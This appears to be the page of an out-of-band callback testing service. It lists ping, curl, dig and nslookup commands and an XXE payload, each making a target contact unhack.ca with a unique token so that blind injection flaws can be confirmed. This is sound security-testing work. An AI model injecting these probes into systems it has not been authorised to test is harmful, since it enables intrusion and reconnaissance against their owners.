$ ping -c1 -p 00719fd255ac8841f7af441ed21ff100 unhack.ca
 
$ curl http://unhack.ca/p/719fd255ac8841f7af441ed21ff1
 
$ dig 719fd255ac8841f7af441ed21ff1 @unhack.ca
 
$ dig 719fd255ac8841f7af441ed21ff1.ns.unhack.ca
 
C:\> nslookup 719fd255ac8841f7af441ed21ff1 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/719fd255ac8841f7af441ed21ff1">]>
    <foo>&xxe;</foo>
Waiting for ping...